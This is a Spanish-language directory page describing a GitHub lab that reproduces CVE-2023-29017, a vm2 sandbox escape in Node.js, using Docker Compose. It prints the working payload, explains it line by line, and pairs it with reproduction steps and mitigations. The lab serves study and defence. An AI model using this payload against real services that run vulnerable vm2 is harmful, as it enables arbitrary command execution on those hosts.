Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/gunwoo105/node_cve-2023-29017
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Reproducción de Node.js vm2 CVE-2023-29017 con Docker Compose y PoC

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-29017 | Ejecución remota de código mediante escape de sandbox vm2

[WHS 4th 31st Class] - Kim Geonwoo (@gunwoo105)

Resumen de la vulnerabilidad

vm2 es una biblioteca de sandbox para Node.js que permite ejecutar JavaScript no confiable en un entorno restringido. En condiciones normales, el código dentro del sandbox no debería poder acceder a funciones sensibles como process, require, child_process y el sistema de archivos del host.

Sin embargo, en vm2 3.9.14 y anteriores, cuando ocurre un error asíncrono no manejado, el objeto host pasado a Error.prepareStackTrace no se maneja de forma segura. Un atacante puede explotar la cadena de constructores de este objeto para obtener el constructor Function del contexto host y el objeto process, y finalmente ejecutar comandos del sistema operativo a través de child_process.

Configuración del entorno

Componentes

No se utiliza una imagen de producto final vulnerable; en su lugar, se crea la imagen directamente a partir de la imagen base oficial de Node.js y el código fuente incluido en el repositorio. El Dockerfile verifica las versiones de Node.js y vm2; si las versiones no coinciden con lo esperado, la compilación falla.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

La razón para ejecutar worker.js en un proceso separado es que el PoC provoca un error asíncrono no manejado. Aunque el worker termine durante el ataque, el servidor web continúa ejecutándose, y se puede verificar de forma fiable el éxito mediante un archivo marcador.

Condiciones de vulnerabilidad

Deben cumplirse todas las condiciones siguientes:

  1. La aplicación utiliza vm2 3.9.14 o anterior.
  2. El atacante puede controlar la entrada de JavaScript a ejecutar.
  3. Ese JavaScript se ejecuta dentro de vm2.
  4. Se permite la ejecución asíncrona de JavaScript.
  5. Un error asíncrono no manejado alcanza la ruta vulnerable de procesamiento de stack trace.
  6. El proceso de Node.js que ejecuta vm2 tiene permisos para ejecutar comandos del sistema operativo o acceder a archivos.

No todos los servicios que instalan vm2 quedan automáticamente expuestos a ataques remotos. Debe existir una funcionalidad que ejecute código controlado por el atacante en vm2. El endpoint /execute de este laboratorio implementa ese caso de uso de forma mínima.

El flujo del ataque es el siguiente:

root@kitploit:~
Envío de JavaScript malicioso
        │
        ▼
Ocurre error asíncrono no manejado
        │
        ▼
Se invoca Error.prepareStackTrace
        │
        ▼
Exposición del objeto host frames
        │
        ▼
Obtención del constructor Function del host
        │
        ▼
process → require → child_process
        │
        ▼
Ejecución de comandos del SO dentro del contenedor

Procedimiento de reproducción

Construcción de la imagen

root@kitploit:~
docker compose build --no-cache

Construcción de imagen exitosa

Ejecución del servicio vulnerable

root@kitploit:~
docker compose up -d vulnerable

Verifique el estado del contenedor.

root@kitploit:~
docker compose ps

Verificación del estado y versión del servicio

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Verificación de estado y versión del servicio

Ejecución del PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

El PoC verifica automáticamente los siguientes puntos:

  1. Healthcheck del servicio vulnerable
  2. Versiones de Node.js y vm2
  3. Ejecución normal de JavaScript 21 * 2
  4. Confirmación de que el archivo marcador no se crea con código benigno
  5. Envío del payload de CVE-2023-29017
  6. Verificación de la creación de /tmp/vm2-pwned
  7. Confirmación de que el contenido del archivo incluye uid=
  8. Devuelve código de salida 0 en caso de éxito, 1 en caso de fallo

Para ejecutar todo de una vez, desde la construcción hasta el PoC, use el siguiente comando:

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Verificación del archivo de evidencia

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Archivo marcador]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Salida del comando]"
  cat /tmp/vm2-pwned
'

Finalización del entorno

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. Código PoC

El PoC completo está incluido en poc/poc.js. El payload principal es el siguiente:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Funcionamiento del código

Redefinición de Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

El atacante redefine la función que se ejecuta cuando se genera un stack trace de error.

Obtención del constructor Function del host

root@kitploit:~
frames.constructor.constructor

Siguiendo la cadena de constructores del objeto host frames expuesto por vm2 vulnerable, se accede al constructor Function del contexto host.

Obtención del objeto process del host

root@kitploit:~
frames.constructor.constructor('return process')();

Se crea y ejecuta una función que devuelve process desde el contexto host.

Ejecución de comando del sistema operativo

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Se carga child_process, que no está disponible dentro del sandbox, y se ejecuta el comando id de Linux.

Inducción de un error asíncrono no manejado

root@kitploit:~
(async () => {}).constructor('return process')();

Se hace que una función asíncrona haga referencia a process, que no está disponible en el sandbox, creando una Promise rechazada que llega a la ruta vulnerable de procesamiento de stack trace.

Resultados de la ejecución

Control benigno

El JavaScript normal se ejecuta dentro de vm2 y devuelve 42, pero no genera evidencia de ejecución de comandos del sistema operativo.

root@kitploit:~
[2/4] Ejecutando JavaScript benigno dentro de vm2
      JavaScript normal devolvió 42 sin ejecución de comando del host

Explotación de la vulnerabilidad

Al enviar el payload malicioso, se escapa del sandbox de vm2 y se ejecuta el comando id dentro del contenedor con los permisos del proceso Node.js vulnerable.

root@kitploit:~
[3/4] Enviando payload de CVE-2023-29017
      Salida del comando del host: uid=1000(node) gid=1000(node) groups=1000(node)

El PoC vuelve a verificar la evidencia almacenada y luego devuelve el estado de éxito.

root@kitploit:~
[4/4] Confirmando evidencia persistente
[ÉXITO] CVE-2023-29017 reproducido: el escape del sandbox vm2 provocó la ejecución de comandos del host.
exit_code=0

Ejecución PoC exitosa

Al verificar directamente el archivo de evidencia, se obtiene el siguiente resultado:

Verificación de evidencia marcador

El archivo marcador se elimina antes de cada ejecución y no se crea durante la fase de ejecución de código benigno. Esto evita falsos positivos debidos a resultados de ejecuciones anteriores.

Medidas de mitigación

Actualización de vm2

Actualice a una versión no afectada.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

Luego, actualice el lockfile e instale con dependencias fijadas.

root@kitploit:~
npm install --package-lock-only
npm ci

El aviso oficial indica que no existe workaround alternativo, por lo que no se recomienda seguir utilizando versiones vulnerables.

Separación del entorno de ejecución para código no confiable

No ejecute código no confiable en el mismo proceso Node.js que la aplicación. Aíslelo en un proceso, contenedor o máquina virtual separados, y deseche el entorno una vez finalizada la ejecución.

Aplicación del principio de mínimo privilegio

  • Ejecutar con un usuario dedicado, no root
  • Aplicar no-new-privileges
  • Eliminar capacidades de Linux innecesarias
  • No montar el socket de Docker ni directorios del host
  • Considerar la configuración de solo lectura para el sistema de archivos
  • No almacenar credenciales a largo plazo dentro del contenedor

Restricciones de red y recursos

  • Limitar el acceso a redes externas desde el contenedor de ejecución
  • Minimizar el acceso a redes de administración interna y bases de datos
  • Limitar CPU, memoria, número de procesos y tiempo de ejecución
  • Limitar el tamaño de entrada y la frecuencia de solicitudes
  • Monitorear terminaciones anómalas e ingreso repetitivo de entradas maliciosas

Autenticación y control de entrada

Aplique autenticación y autorización sólidas a las funciones de ejecución de código, y no opere APIs de ejecución de código arbitrario abiertas a usuarios no específicos. Sin embargo, la autenticación es una medida auxiliar que reduce la superficie de ataque, no un sustituto de la corrección de la vulnerabilidad en sí.

Descargar herramienta
ComponenteVersión y configuración
Node.js18.15.0
vm23.9.14
Versión parcheada3.9.15
Entorno de ejecuciónDocker Compose
Usuario del contenedornode
Puerto del servicio127.0.0.1:3000
Instalación de paquetesnpm ci + package-lock.json
ArchivoFunción
docker-compose.ymlDefine la configuración y el orden de ejecución del servicio vulnerable y el contenedor PoC
DockerfileConstruye las imágenes del servicio vulnerable y PoC en modo multi-stage
vulnerable/src/server.jsProporciona los endpoints /health, /execute y /evidence
vulnerable/src/worker.jsEjecuta la entrada del usuario en vm2 en un proceso separado
poc/poc.jsAutomatiza la verificación de versiones, control benigno, ataque y confirmación de evidencia
vulnerable/package-lock.jsonFija las versiones de los paquetes, incluidas las dependencias transitivas